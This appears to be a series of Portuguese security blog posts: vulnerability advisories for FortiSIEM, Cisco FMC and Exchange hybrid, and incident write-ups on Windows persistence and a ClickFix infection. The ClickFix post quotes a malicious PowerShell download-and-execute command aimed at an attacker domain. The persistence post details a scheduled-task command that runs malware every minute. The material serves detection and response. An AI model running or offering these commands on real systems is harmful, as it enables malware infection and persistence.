Estamos cientes que a Fortinet emitiu um alerta sobre uma vulnerabilidade de gravidade crítica que afeta seu produto FortiSIEM. A falha foi catalogada como a vulnerabilidade CVE-2025-25256, e permite que um invasor não autenticado execute comandos remotamente no sistema operacional dos dispositivos afetados.
A vulnerabilidade recebeu uma pontuação CVSS de 9.8, refletindo seu potencial de impacto máximo. A exploração bem-sucedida pode resultar no comprometimento total do equipamento, permitindo que o invasor execute código arbitrário com privilégios elevados.
Apesar da Fortinet não haver especificados indicadores de comprometimento (IoCs), temos a confirmação de que já existe pelo menos um código deexploit funcional para esta falha, o que significa que ataques ativos estão em andamento. Isso eleva drasticamente a urgência para a aplicação das devidas correções.
Detalhes Técnicos da Vulnerabilidade
Causa Raiz: A falha reside em uma vulnerabilidade de injeção de comando no sistema operacional, que pode ser acionada por meio de solicitações CLI (Interface de Linha de Comando) especialmente criadas para esse fim.
Vetor de Ataque: O ataque pode ser realizado remotamente, sem a necessidade de qualquer tipo de autenticação prévia, tornando qualquer sistema vulnerável exposto à internet um alvo fácil.
Impacto: A exploração permite a Execução Remota de Código (RCE), dando ao atacante controle total sobre o sistema FortiSIEM.
Versões Afetadas
A vulnerabilidade impacta muitas versões do FortiSIEM. As organizações que utilizam as seguintes versões devem tomar ações imediatas:
Version
Affected
Solution
FortiSIEM 7.4
Not affected
Not Applicable
FortiSIEM 7.3
7.3.0 through 7.3.1
Upgrade to 7.3.2 or above
FortiSIEM 7.2
7.2.0 through 7.2.5
Upgrade to 7.2.6 or above
FortiSIEM 7.1
7.1.0 through 7.1.7
Upgrade to 7.1.8 or above
FortiSIEM 7.0
7.0.0 through 7.0.3
Upgrade to 7.0.4 or above
FortiSIEM 6.7
6.7.0 through 6.7.9
Upgrade to 6.7.10 or above
FortiSIEM 6.6
6.6 all versions
Migrate to a fixed release
FortiSIEM 6.5
6.5 all versions
Migrate to a fixed release
FortiSIEM 6.4
6.4 all versions
Migrate to a fixed release
FortiSIEM 6.3
6.3 all versions
Migrate to a fixed release
FortiSIEM 6.2
6.2 all versions
Migrate to a fixed release
FortiSIEM 6.1
6.1 all versions
Migrate to a fixed release
FortiSIEM 5.4
5.4 all versions
Migrate to a fixed release
Recomendações e Mitigação
A recomendação principal e mais eficaz é a atualização imediata dos sistemas para as versões corrigidas disponibilizadas pela Fortinet.
Para ambientes onde a aplicação do patch não pode ser realizada imediatamente, a Fortinet sugere uma mitigação temporária: restringir o acesso à porta 7900 (phMonitor) do FortiSIEM, limitando a exposição a redes confiáveis e bloqueando o acesso externo.
Dada a existência de um exploit ativo, a inação não é uma opção. Recomenda-se que todos os administradores de sistemas Fortinet validem suas versões e apliquem os patches de segurança com a máxima prioridade para proteger seus ativos contra comprometimento.
Publicada em 14 de agosto de 2025, a vulnerabilidade CVE-2025-20265 é uma falha de segurança crítica encontrada no software Cisco Secure Firewall Management Center (FMC) que permite a um invasor remoto e não autenticado injetar e executar comandos arbitrários no dispositivo. A vulnerabilidade recebeu o valor de pontuação máxima de 10.0 no Common Vulnerability Scoring System (CVSS), classificando-a como “CRÍTICA”, e demandando atenção imediata.
Baixo Risco de Exploração: probabilidade baixa de exploração nos próximos 30 dias
Monitoramento Contínuo: Recomenda-se continuar acompanhando nos próximos dias/semanas. Utilize esse [LINK].
Pré-condição importante:
Entretanto, antes que se entre em pânico, é importante saber que existe uma pré-condição específica e indispensável para que a vulnerabilidade CVE-2025-20265 possa ser explorada: O software Cisco Secure Firewall Management Center (FMC) deve estar configurado para usar autenticação externa via RADIUS.
Isso se aplica tanto para o acesso à interface de gerenciamento baseada na web quanto para o acesso via SSH.
Se o sistema não estiver usando RADIUS para autenticação (por exemplo, se estiver usando contas de usuário locais, LDAP ou SAML), ele não está vulnerável a esta falha específica, mesmo que esteja executando uma versão de software afetada. A rota de ataque depende inteiramente da maneira como o subsistema RADIUS processa as credenciais de login.
IMPORTANTE: mesmo que você não utilize autenticação RADIUS, certifique-se que ela não está habilitada. Veja as instruções no apêndice desse texto, mais abaixo.
Pontos principais:
Causa: A falha ocorre devido ao tratamento inadequado da entrada do usuário durante a fase de autenticação no subsistema RADIUS. Um invasor pode explorar isso enviando entradas criadas especificamente ao inserir credenciais para serem autenticadas no servidor RADIUS configurado.
Fraqueza: CWE-74Improper Neutralization of Special Elements in Output Used by a Downstream Component (‘Injection’)
Impacto: Uma exploração bem-sucedida pode permitir que o invasor execute comandos com um alto nível de privilégio, levando a uma possível comprometimento completo do sistema.
Produtos Afetados: As versões 7.0.7 e 7.7.0 do software Cisco Secure FMC são afetadas se tiverem a autenticação RADIUS ativada para a interface de gerenciamento baseada na web, gerenciamento SSH ou ambos.
Descoberta: A vulnerabilidade foi descoberta por um engenheiro de software da Cisco durante testes de segurança internos. Até o momento, a Cisco não tem conhecimento de nenhuma exploração desta vulnerabilidade em ataques reais.
Probabilidade de exploração: no momento de escrita desse alerta (17.ago.2025 18:30 GMT-3) a análise do EPSS que indica a probabilidade de exploração encontra-se pendente. O sistema EPSS atualiza suas pontuações diariamente, e é provável que um valor para esta CVE seja disponibilizado em breve, dada a sua alta criticidade. Até o momento não existe exploit público de ataque disponível, até onde se sabe.
Solução principal:
A correção para essa vulnerabilidade é simples. A forma mais eficaz e recomendada de corrigi-la é instalar as atualizações de software fornecidas pela Cisco. Os administradores devem atualizar seus sistemas para uma versão de software que não esteja vulnerável.
Se não for possível aplicar a atualização de software imediatamente, a Cisco recomenda as seguintes ações para mitigar o risco:
Desativar a Autenticação RADIUS: A vulnerabilidade só pode ser explorada se a autenticação externa via RADIUS estiver habilitada. A principal mitigação é desativar o RADIUS para o acesso de gerenciamento (tanto para a interface web quanto para o SSH).
Usar Métodos de Autenticação Alternativos: Em vez de RADIUS, os administradores podem configurar outros métodos de autenticação que não são afetados por esta vulnerabilidade, como:
Contas de usuário locais.
Autenticação externa via LDAP (Lightweight Directory Access Protocol).
Logon Único (SSO) usando SAML (Security Assertion Markup Language).
APÊNDICE – Como verificar se a autenticação RADIUS está habilitada no Cisco
1. Passo a Passo para Verificação via interface web
O processo consiste em duas etapas principais:
Verificar se existe um servidor RADIUS configurado e ativo.
Confirmar se esse servidor RADIUS está sendo usado para autenticação.
Etapa 1: Localizar e Inspecionar os Servidores de Autenticação Externa
Primeiro, você precisa ver onde os servidores de autenticação externa, como RADIUS, LDAP ou SAML, são configurados.
Faça login na interface web do seu FMC.
Navegue até a página de Autenticação Externa:
No menu superior, clique em System (Sistema).No menu suspenso, clique em Users (Usuários).Na página de Usuários, clique na aba External Authentication (Autenticação Externa).
O caminho é: System > Users > External Authentication.
Analise a Lista de Objetos de Autenticação:
Nesta página, você verá uma lista de todos os “objetos” de autenticação externa que foram criados.
Procure por qualquer objeto na lista cujo Authentication Method (Método de Autenticação) seja RADIUS.
Verifique o Status do Objeto RADIUS:
Depois de encontrar um objeto RADIUS, olhe para a coluna Status.
Se o círculo de status estiver verde e o texto disser Enabled (Habilitado), significa que o FMC tem uma configuração RADIUS funcional e ativa.
O que isso significa até agora? Você confirmou que o FMC está configurado para se comunicar com um servidor RADIUS. Agora, precisamos verificar se ele está realmente usando essa configuração para logins.
Etapa 2: Verificar se o RADIUS é o Método de Login Padrão
Mesmo que um servidor RADIUS esteja habilitado, ele pode não estar em uso. Ele precisa ser definido como o método de autenticação para os logins da interface web ou do SSH.
Permaneça na mesma página (System > Users > External Authentication).
Role a página para baixo até encontrar a seção chamada Default Authentication (Autenticação Padrão).
Examine as Configurações Padrão:
Esta seção permite que você defina qual método de autenticação será usado por padrão para diferentes tipos de acesso.
Procure pelas opções:
Web: Para logins na interface gráfica.
SSH: Para logins via linha de comando.
Verifique se o RADIUS está selecionado:
Olhe para os menus suspensos ao lado de Web e SSH.
Se algum desses menus estiver configurado para usar o objeto de autenticação RADIUS que você identificou na Etapa 1, então a autenticação RADIUS está ativa e em uso para esse tipo de acesso.
Para estar vulnerável à CVE-2025-20265, as seguintes condições devem ser verdadeiras na interface web:
(Condição 1 / Etapa 1): Você tem um objeto de autenticação externa com o método RADIUS que está Habilitado (Enabled)
AND
(Condição 2 / Etapa 2): Na seção Default Authentication, o menu suspenso para Web ou SSH (ou ambos) está selecionado para usar esse objeto RADIUS.
Se ambas as condições forem atendidas e sua versão de software for uma das afetadas (como 7.7.0 ou 7.0.7), seu sistema está vulnerável e requer ação imediata.
2. Passo a Passo para Verificação via CLI
A configuração de autenticação externa não é gerenciada por um único comando “show” simples. Você precisará inspecionar os arquivos de configuração diretamente ou usar utilitários do sistema. A maneira mais confiável é usar o FMC expert mode para acessar o shell do Linux e, em seguida, consultar o banco de dados de configuração. O método recomendado via CLI é:
Acesse a CLI do FMC: Conecte-se ao seu dispositivo FMC usando SSH.
Entre no Modo expert: No prompt da CLI, digite o comando expert. Isso lhe dará acesso ao shell do Linux subjacente.Bash> expert
Execute o Comando de Consulta ao Banco de Dados: O FMC armazena suas configurações em um banco de dados. Você pode consultá-lo diretamente para encontrar as configurações de autenticação RADIUS. O comando a seguir usa mysql para consultar a tabela auth_modules no banco de dados usm_db e filtra por módulos RADIUS.Copie e cole o seguinte comando completo no prompt do expert mode:
% sudo /usr/local/sf/bin/sf-mysql -e 'SELECT name, is_enabled, is_default_web, is_default_cli FROM usm_db.auth_modules WHERE type="Radius"'
Como Interpretar a Saída
O comando retornará uma tabela. Preste atenção nas seguintes colunas para cada servidor RADIUS configurado (identificado pela coluna name):
is_enabled: Se o valor for 1, o objeto de autenticação RADIUS está habilitado. Se for 0, está desabilitado.
is_default_web: Se o valor for 1, este servidor RADIUS é usado para a autenticação padrão da interface web.
is_default_cli: Se o valor for 1, este servidor RADIUS é usado para a autenticação padrão do acesso SSH/CLI.
O objeto “ServidorRADIUS_Corp” está habilitado (is_enabled = 1).
Ele é usado para autenticação web (is_default_web = 1).
Ele é usado para autenticação CLI/SSH (is_default_cli = 1).
Se você vir is_enabled como 1 e pelo menos um dos is_default_web ou is_default_cli também como 1, seu sistema está usando autenticação RADIUS e está vulnerável (se estiver em uma versão de software afetada).
Se a tabela estiver vazia ou se todos os valores nas colunas is_enabled, is_default_web e is_default_cli forem 0, então a autenticação RADIUS não está ativa e você não está exposto a esta vulnerabilidade específica.
Este método CLI é ideal para verificações rápidas, auditorias ou para uso em scripts de automação.
Recentemente, estava explorando o repositório GitHub de um framework que utilizo para desenvolvimento. Observando modificações recentes, me deparei com um commit que me deixou inicialmente muito confuso: uma chave privada, aparentemente utilizada para assinar o pacote de instalação do framework, havia sido adicionada aos arquivos do repositório.
Felizmente, após inspecionar a chave pública acompanhante, revelou-se que a chave foi credenciada para o domínio yourdomain.com. Comentando isso com um colega de trabalho, ele me instruiu que isso é, na verdade, algo relativamente comum: adicionar arquivos com uma chave de exemplo ao repositório para que a estrutura de arquivos fique completa. Adicionalmente, em alguns casos (como desenvolvimento de aplicações web), é possível utilizar esse certificado no ambiente de desenvolvimento local redirecionando o domínio de exemplo para o local host via alteração do arquivo hosts.
Digo que fiquei aliviado descobrindo que a adição da chave ao repositório foi, muito provavelmente, intencional e não impõe um risco de segurança ao projeto (é um dos meus frameworks favoritos). Reconheço que acidentes, especialmente quanto a adição de arquivos no Git que não deveriam ser adicionados, acontecem. Inúmeras vezes já ansiosamente executei git add .; git commit -m "..." no terminal, descobrindo somente depois que havia algum artefato de compilação, ou arquivo de cache (estou olhando para você, mypy), esquecido no diretório do projeto que agora havia sido imortalizado no repositório pela execução precoce do comando. Como diz o ditado, “once in git, always in git”.
Hoje em dia sou moderadamente mais cauteloso e ademais, grato pelas abençoadas almas que dispõem modelos de .gitignore na web. Porém, pessoalmente não julgo cautela como suficiente! Utilizo no meu desenvolvimento o pre-commit, uma ferramenta que realiza verificações automáticas antes de toda modificação de arquivos em um repositório Git. Incidentalmente, um dos pluginsdisponibilizados por padrão pela ferramenta possui um teste que previne o commit acidental de uma chave privada.
Trabalhando em uma resposta a um incidente onde o Domain Admin foi comprometido, comecei a fazer um levantamento do campo PwdLastSet no Active Directory Domain Services com o objetivo de identificar, logicamente, os usuários que realizaram trocas de senhas antes e/ou durante o incidente. Sendo assim, me surgiu uma dúvida:
O atributo PwdLastSet pode ser alterado?
Primeiro, vamos a definição:
“A data e a hora em que a senha dessa conta foi alterada pela última vez. Esse valor é armazenado como um inteiro grande que representa o número de intervalos de 100 nanossegundos desde 1º de janeiro de 1601 (UTC). Se esse valor for definido como 0 e o atributo User-Account-Control não contiver o sinalizador UF_DONT_EXPIRE_PASSWD, o usuário deverá definir a senha no próximo logon.“
Partimos para um laboratório onde subi um Active Directory Domain Services sobre um Windows Server 2022. Criei um usuário chamado lab.user com uma senha definida. O campo pwdLastSet adicionou as informações de data, hora e GMT configuradas no sistema operacional
Aí vem o teste. A primeira coisa que tentei foi adicionar um epoch time no usuárioporém sem sucesso em um script powershell.
Verificando a documentação entendi que é possível setar duas flags o 0 indicando que a senha nunca foi trocada e o -1 que utiliza do tempo atual.
O script e os resultados
OBS.: O script apresentado neste artigo é destinado exclusivamente para fins educativos e de aprendizado. Não nos responsabilizamos pelo uso indevido, aplicação em contextos não autorizados ou quaisquer consequências decorrentes da utilização deste código. Recomendamos que os leitores utilizem o script de forma ética e em conformidade com todas as leis e regulamentos aplicáveis.
Entendo que existem outros campos como WhenChanged que podem ser utilizados para investigação porém o que me trouxe até aqui foi quanto isso poderia ser confuso para quem está respondendo ao incidente de cibersegurança
Estamos cientes de uma vulnerabilidade de alta gravidade, a qual permite que um agente de ameaça cibernética com acesso administrativo a um servidor Microsoft Exchange local aumente privilégios explorando configurações híbridas vulneráveis. Essa vulnerabilidade, se não for corrigida, pode afetar a integridade da identidade do serviço Exchange Online de uma organização. Uma vez explorada, permite que um atacante com acesso administrativo a um servidor MS Exchange local consiga elevar seus privilégios para o ambiente em nuvem (Exchange Online), potencialmente comprometendo todo o domínio.
Ela foi catalogada como a vulnerabilidade CVE-2025-53786 com pontuação CVSS de 8.0 (Alta).
Impacto: Permite que um atacante com acesso administrativo local acesse o ambiente em nuvem sem deixar rastros facilmente detectáveis, explorando a confiança entre o Exchange local e o Exchange Online.
Causa principal: O uso de um service principal compartilhado para autenticação entre o servidor local e a nuvem em configurações híbridas, criando uma ligação que pode ser explorada.
OBSERVAÇÃO: Não há evidências de exploração ativa até o momento, 08 de agosto de 2025, mas a Microsoft classifica a vulnerabilidade como “Exploitation More Likely“ (Exploração Razoavelmente Provável) devido à sua gravidade. Independente de não haver relatos da exploração da vulnerabilidade em larga escala, nós recomendamos fortemente a aplicação de mitigação sugerida nesse documento.
A exploração é particularmente perigosa porque pode passar despercebida. O ataque não gera logs ou alertas evidentes, dificultando a detecção, já que usa funções legítimas do sistema.
RESUMO DA VULNERABILIDADE
O atacante já deve ter privilégios administrativos no servidor Exchange local, por exemplo, via uma senha fraca, outra vulnerabilidade, ação de phishing ou credenciais roubadas.
Como ocorre a exploração da vulnerabilidade:
O atacante acessa as keyCredentials do service principal, armazenadas na configuração do Exchange ou via PowerShell/Graph API.
Com essas chaves, ele gera um token S2S (server-to-server) válido para autenticação na nuvem.
Isso permite acesso a recursos como caixas de e-mail no Exchange Online, envio de e-mails em nome de outros usuários, alterações em configurações de segurança ou até pivô para outros serviços, como SharePoint Online.
Para entender o que é o service principal e o KeyCredentials e como esses se combinam para o ataque, consulte o apêndice desse alerta.
Quais os riscos associados:
Comprometimento de dados sensíveis (e-mails, configurações de segurança).
Movimento lateral para outros serviços na nuvem (como SharePoint).
Potencial para comprometimento total do domínio em ambientes híbridos.
A exploração é particularmente perigosa porque pode passar despercebida, mesmo com ferramentas de monitoramento como Conditional Access ou de autenticação MFA.
MITIGAÇÃO RECOMENDADA
1. Aplicar o hotfix de abril de 2025:
Instale a atualização de segurança em todos os servidores Exchange locais (2016, 2019 ou Subscription Edition) em modo híbrido.
Verifique se os servidores estão dentro do ciclo de suporte (ex.: Exchange 2019 CU14/CU15, Exchange 2016 CU23).
2. Fazer inventário e verificação:
Use o script HealthChecker.ps1 da Microsoft para identificar servidores afetados e gerar relatórios.
3. Migrar para um service principal dedicado:
Execute o Hybrid Configuration Wizard (HCW) atualizado para configurar uma nova entidade de serviço dedicada:
Redefina as keyCredentials do service principal compartilhado:
Connect-MgGraph -Scopes "Application.ReadWrite.All"
$sp = Get-MgServicePrincipal -Filter "displayName eq 'Exchange Hybrid Modern Auth Service Principal'"
Update-MgServicePrincipal -ServicePrincipalId $sp.Id -KeyCredentials @()
4. Adotar boas práticas
Minimize permissões administrativas.
Habilite e monitore logs detalhados.
Desconecte da internet servidores Exchange ou SharePoint em fim de vida (EOL).
Considere migrar para protocolos mais seguros, como Graph API, e reduzir o uso de Exchange Web Services (EWS).
INFORMAÇÕES ADICIONAIS
Descoberta: A vulnerabilidade foi reportada por Dirk-jan Mollema da Outsider Security e apresentada na conferência Black Hat no último dia 6 de agosto de 2025.
Diretiva da CISA: Agências federais dos EUA foram obrigadas a mitigar a falha até 11 de agosto de 2025, mas a recomendação se estende a todas as organizações com ambientes híbridos.
Contexto maior: Tal falha reforça a necessidade de revisar configurações legadas em ambientes híbridos e adotar modelos de zero trust para minimizar riscos.
A keyCredentials é como um “chaveiro” criptográfico, que funciona como uma carteira de identidade do service principal híbrido. Ela é usada para autenticar um servidor Exchange local na nuvem. Na vulnerabilidade CVE-2025-53786, um atacante com acesso administrativo local pode roubar esse chaveiro (keyCredentials) e usá-lo para fazer se passar pelo servidor, acessando o Exchange Online sem deixar rastros óbvios.
O que é um Service Principal?
Um service principal é uma identidade não-humana usada em sistemas da Microsoft (como o Azure Active Directory, agora Microsoft Entra ID) para autenticar aplicativos ou serviços, permitindo que eles interajam com outros recursos na nuvem, como o Exchange Online. No caso de ambientes híbridos do Exchange, o service principal é usado para facilitar a comunicação segura entre o Exchange Server local (on-premises) e o Exchange Online (nuvem).
Função no ambiente híbrido: O service principal híbrido atua como uma “ponte” de autenticação, permitindo que o servidor local execute ações na nuvem, como sincronizar dados, gerenciar caixas de e-mail ou autenticar usuários. Ele é configurado automaticamente pelo Hybrid Configuration Wizard(HCW) durante a criação do ambiente híbrido.
O que é a keyCredentials?
A keyCredentials é uma propriedade do service principal que armazena as chaves criptográficas (certificados ou chaves assimétricas) usadas para autenticar o service principal no Microsoft Entra ID. Essas chaves são essenciais para o processo de autenticação server-to-server (S2S), permitindo que o servidor local consiga provar sua identidade ao acessar recursos na nuvem.
Formato: A keyCredentials contém informações como:
Chave pública de um certificado.
Identificador da chave (keyId).
Tipo de chave (geralmente assimétrica, como RSA).
Datas de validade (início e fim).
Uso: Quando o servidor Exchange local precisa acessar o Exchange Online, ele usa a chave privada correspondente à keyCredentials para assinar um token de autenticação (JWT). Esse token é validado pela nuvem usando a chave pública armazenada na keyCredentials.
Comprometer um sistema não se trata apenas da quebra de uma credencial ou o upload de um malware em um endpoint, agentes de ameaça pensam muito além do acesso inicial, ele ou ela farão de tudo, a fim de alcançar seu objetivo final, podendo ser um vazamento de dados, roubo de propriedades intelectuais, ou em muitos casos uma infecção de ransomware.
Para que isso possa ocorrer, o atacante precisará permanecer vivo e operante no ambiente, uma vez que não é possível calcular quanto tempo ele levará para cumprir seu objetivo, portanto neste post eu gostaria de abordar algumas das técnicas de persistência mais comuns encontradas em ambientes que foram alvos de incidentes cibernéticos, observados em nosso dia a dia no SOC.
A grande realidade é que existem incontáveis técnicas utilizadas por agentes de ameaça para garantir persistência em um ambiente, muitas delas mapeadas pelo famoso framework “MITRE ATT&CK”. Primeiramente, gostaria de definir “O que é” uma técnica de persistência e por que ela é tão importante para um criminoso cibernético. Em seguida, exemplificarei algumas dessas técnicas me baseando em situações reais detectadas por nosso time de segurança.
Conforme a definição do MITRE ATT&CK “Persistência consiste em técnicas utilizadas por adversários para manter acesso a um sistema, indiferente a reinicializações, alterações de credenciais e/ou outras interrupções capazes de cortar seu acesso ao ambiente[…]” basicamente, essa tática ocorre somente após a invasão de um sistema, onde o descrito “adversário” planeja manter-se ativo na infraestrutura da vítima que pode ou não, estar ciente da ocorrência do incidente, essas técnicas são essenciais para a resiliência do atacante, que ainda não atingiu seu objetivo final.
Entendendo agora o “por que” de um agente de ameaça utilizar essas técnicas, agora devemos esclarecer “COMO” isso geralmente é feito… A grande realidade é que os Sistemas Operacionais atuais, facilitam muito o emprego de persistência, devido a diversos recursos nativos, criados em tese para auxiliar no funcionamento de softwares e processos legítimos, utilizados pelos usuários finais, mas quando configurados corretamente em favor do atacante, são ferramentas-chave para seu sucesso no ambiente.
Irei abordar algumas das técnicas mais comuns encontradas em incidentes cibernéticos reais voltados a ambientes “Microsoft Windows”, lembrando que para o “hacker” experiente, “o céu é o limite”, portanto não devemos nos apegar somente ao que será apresentado aqui, ou somente as técnicas já mapeadas pelo MITRE ATT&CK, mas sim compreender que, a medida que as tecnologias evoluem, inevitavelmente maneiras de se conquistar persistência, também irão seguir esse rumo.
Outro fato que devemos considerar é sobre a existência de inumeras táticas e técnicas utilizadas em ambientes “Unix” e também em outros Sistemas Operacionais, porém neste artigo abordarei somente o emprego das mesmas em sistemas “Windows”.
Startup Folder
Para iniciar, introduzirei uma técnica muito interessante e efetiva em ambientes sem monitoramento e análise comportamental. Por padrão, o sistema operacional Windows possui diretórios de startup que são críticos e comumente utilizados por agentes de ameaça que buscam persistência no ambiente, sendo eles:
Startup global (todos os usuários): C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
Startup de usuário especifico: C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
A inclusão de programas ou scripts como arquivos com extensões ps1, .bat, .cmd, entre outros… nestes diretórios do sistema irá resultar em sua execução automática sempre que um usuário se autenticar. Essa prática é frequentemente explorada por agentes maliciosos como uma forma eficaz de garantir persistência no ambiente comprometido. Ao configurar esses arquivos para serem executados em momentos estratégicos, como o logon do usuário, o invasor assegura que seu código continue ativo, mesmo após reinicializações ou tentativas de limpeza, mantendo o controle sobre o sistema de forma discreta e contínua.
Observamos a utilização desta técnica em um ataque recentemente presenciado pela nossa equipe, onde, após ganhar acesso ao endpoint, o agente de ameaça realizou o upload de um malware nomeado como “explorer.exe” no sistema e imediatamente adicionou um arquivo .lnk referenciando ao malware no diretório: C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
Tarefas agendadas
A criação e utilização de tarefas agendadas, poderia ser considerada a técnica de persistência mais conhecida e comumente utilizada em um ambiente comprometido, a técnica consiste na utilização do recurso de criação de tarefas agendadas nativo do Windows para realizar a execução periódica de arquivos ou scripts maliciosos, desta forma garantindo que, mesmo que o processo malicioso seja finalizado por um usuário do sistema, o mesmo volte a ser executado através da utilização deste recurso.
No mesmo incidente citado anteriormente, foi também possível presenciar a criação de uma tarefa agendada cujo a finalidade era executar um software malicioso a cada 1 minuto no ambiente, como mostrado na imagem abaixo:
Na imagem e linha de comando acima é possivel observar a utilização do processo nativo “schtasks.exe” para criar uma tarefa agendada com os seguintes parametros:
/create: Cria uma nova tarefa.
/f: Força a criação, sobrescrevendo qualquer tarefa existente com o mesmo nome.
/RL HIGHEST: Define o nível de privilégio como máximo (executa com privilégios de administrador).
/sc minute: Define a frequência da tarefa como a cada minuto.
/mo 1: Modificador da frequência — neste caso, a cada 1 minuto.
/tn "explorer": Nome da tarefa será "explorer".
/tr "C:\Users\Administrator\AppData\Roaming\explorer.exe": Caminho do arquivo malicioso nomeado como “explorer.exe”.
Por mais que os parâmetros definidos aparentam ser bem “barulhentos” ainda assim há dificuldade em sua detecção sem o auxílio de ferramentas que estejam configuradas corretamente para realizar a busca por esses comportamentos característicos.
Chaves de registro.
Chaves de registro são peças fundamentais no sistema operacional, por serem responsáveis por garantir o funcionamento de praticamente todos os processos, serviços e conexões existentes no sistema, incluindo também a inicialização dos programas, por esse motivo, alterações e criações de novas chaves de registro no Windows são técnicas extremamente comuns de serem utilizadas por agentes de ameaça para se manter vivo no ambiente, sendo bem semelhante com a primeira técnica discutida neste post, as seguintes chaves de registro geralmente tornam-se alvo de cibercriminosos que buscam adicionar a elas um “valor” que posteriormente irão realizar a execução de processos maliciosos.
As chaves de registro apresentadas acima são apenas um exemplo de muitas outras, que possuem capacidades semelhantes, portanto é sempre recomendado configurar ferramentas de detecção para monitorar qualquer alteração ou criação suspeita de chaves de registro que possam ter ocorrido no sistema.
Como podem ver, no incidente analisado por nossa equipe, também foram detectadas mudanças em chaves de registro, onde as alterações realizadas tinham como objetivo executar o conhecido malware nomeado como “explorer.exe” no sistema, utilizando as chaves citadas anteriormente.
Criação de usuários.
A criação de novos usuários em sistemas comprometidos é uma prática comum em incidentes de segurança. Essa técnica é frequentemente usada para garantir persistência no ambiente invadido. Quando um atacante cria contas adicionais no endpoint afetado, ele estabelece uma forma de retorno fácil ao sistema, mesmo que as credenciais originais sejam alteradas ou revogadas. Assim, caso o usuário legítimo tente mitigar o ataque trocando senhas ou removendo acessos, o invasor ainda pode retomar o controle utilizando os usuários previamente criados, dando continuidade às suas ações maliciosas.
Portanto, é sempre muito recomendado realizar a detecção e homologação de todos os usuários criados no ambiente, independentemente se são locais, de serviço ou do domínio, além de definir precisamente quem possuirá o nível de privilégio necessário para realizar criações de novos usuários no sistema.
Conclusão
Após analisar algumas das mais famosas técnicas de persistência utilizadas “world-wide”, entende-se que um Adversário bem preparado irá quase sempre, utilizar mais de uma técnica de persistencia em um ambiente comprometido, e que não existe grande complexidade em desenvolve-las e coloca-las em operação, portanto o analista de SOC treinado a buscar e reconhecer essas praticas, tende a estar sempre um passo a frente dos cibercriminosos.
Durante um estudo para um projeto interno, onde criamos ambientes propositalmente vulneráveis, obtivemos resultados interessantes ao analisar fatores relacionados a conexões externas.
Por mais de um mês, mantivemos a porta de RDP (3389) aberta exclusivamente para conexões originadas do Brasil. Mesmo com essa restrição geográfica, registramos diversas tentativas de exploração, força bruta de senhas e uso de ferramentas de escaneamento. No entanto, nenhum sistema foi comprometido.
Decidimos então testar o extremo: liberamos o acesso RDP 3389 para o mundo inteiro. O resultado? Em menos de 24 horas, tivemos um sistema comprometido.
Isso levanta uma questão: o Brasil sofre menos ataques? A resposta é não. Segundo o relatório da IBM, as empresas brasileiras estão entre as cinco mais atacadas do mundo.
O que temos observado é que muitas empresas mantêm sistemas expostos à internet sem as devidas proteções. Sites como o Shodan.io realizam varreduras globais em busca de serviços abertos, revelando a fragilidade de muitas infraestruturas.
Times de infraestrutura e segurança precisam implementar camadas de proteção: firewalls, IPS, regras de controle e restrições geográficas são medidas que podem salvar empresas em risco.
Por fim, deixo uma reflexão: você, que atua em infraestrutura, segurança ou áreas correlatas, já validou se suas aplicações expostas externamente possuem restrições de origem bem definidas? Se não, qual é a desculpa?
Como já é de conhecimento geral, o elo mais fraco em um ataque é a interferência humana, seja em caso de falhas (bugs), phishing ou engenharia social. Em um caso recente, o usuário tentou executar um arquivo malicioso e teve a ação bloqueada. Ao verificar o hash do arquivo suspeito (localizado em uma pasta temporária) no Virus Total, o arquivo foi identificado como Powershell. Em seguida, busquei por comandos que pudessem ter sido executados anteriormente para gerar esse arquivo na pasta temporária. Nem sempre é possível recuperar o histórico de comandos do Powershell, mas neste caso encontrei o seguinte registro no arquivo ConsoleHost_history.txt, localizado em AppData:
iwr walkin[.]college/trace.mp3 | iex # You're Human
Além disso, identifiquei também comandos altamente ofuscados executados pelo .NET . Nesse ponto, já era evidente que se tratava de um ataque de engenharia social relativamente novo: o ClearFake/ClickFix. Nesse tipo de ataque, o usuário acessa um site e é induzido a abrir o menu “Executar” do Windows, colar um código e pressionar Enter. Trata-se, basicamente, de uma variação de phishing com o uso de captcha para dar aparência de legitimidade.
Exemplo de como é realizado o ataque.
Apesar de relativamente recente, esse tipo de ataque já vem sendo amplamente utilizado por diversas famílias de malware.
Gráfico das infecções semanais em 2025.
O sucesso desse ataque se deve à sua simplicidade. O usuário é induzido a digitar, por conta própria, o código malicioso, facilitando o ponto de entrada na estação. A partir daí, o código é executado e inicia-se o download de arquivos maliciosos. Realizei uma busca na internet e encontrei o script utilizado, bem como a metodologia do ataque. Há indícios de que o malware pertença à família Lumma Stealer.
Algumas maneiras de detectar a atividade maliciosa:
Eventos de segurança – eventID 4668 (process creation): procurar instâncias do powershell.exe que tenha explorer.exe como processo pai e que apresente associação com o EventID 4663 (object access) envolvendo arquivos na pasta %LocalAppData%\Microsoft\Windows\WinX\
Padrões de uso de shell: identificar sessões elevadas de powershell com comunicações suspeitas ou criação de processos incomuns, como certutil.exe, mshta.exe ou rundll32.exe.
Algumas maneiras para dificultar o roubo de credenciais:
Habilitar autenticação multifator (MFA).
Adotar métodos de autenticação resistentes à phishing, como FIDO, passkey, e evitar métodos de autenticação SMS.
Utilizar AppLocker para restringir aplicações não autorizadas no ambiente.
Desabilitar powershell para usuários que não possuem privilégios administrativos.
Felizmente o ataque não chegou a esse ponto, pois foi barrado pelo XDR. No entanto, isso nos alerta para uma das estratégias mais básicas, treinar os usuários, que são os principais alvos dos atacantes. Não se espera que o usuário entenda códigos ou saiba reconhecer ataques, porém, com orientações básicas é possível evitar problemas significativamente mais graves.
Indicators of compromise: SHA256 – 45fb3902a652c7f083bd3f090bf1a0d9ee3b0503256da6cbbce5a8fcaacc7b0d Domínio – walkin[.]college/trace.mp3
Mais informações do indicador: https://www.virustotal.com/gui/file/45fb3902a652c7f083bd3f090bf1a0d9ee3b0503256da6cbbce5a8fcaacc7b0d https://hybrid-analysis.com/sample/45fb3902a652c7f083bd3f090bf1a0d9ee3b0503256da6cbbce5a8fcaacc7b0d/6882e7fcd6da29a55105d6ab
A vulnerabilidade crítica CVE-2025-53770, apelidada de ToolShell, está sendo ativamente explorada por agentes maliciosos para comprometer servidores Microsoft SharePoint on-premises. A falha permite execução remota de código não autenticada, extração de chaves criptográficas sensíveis e implantação de ransomwares.
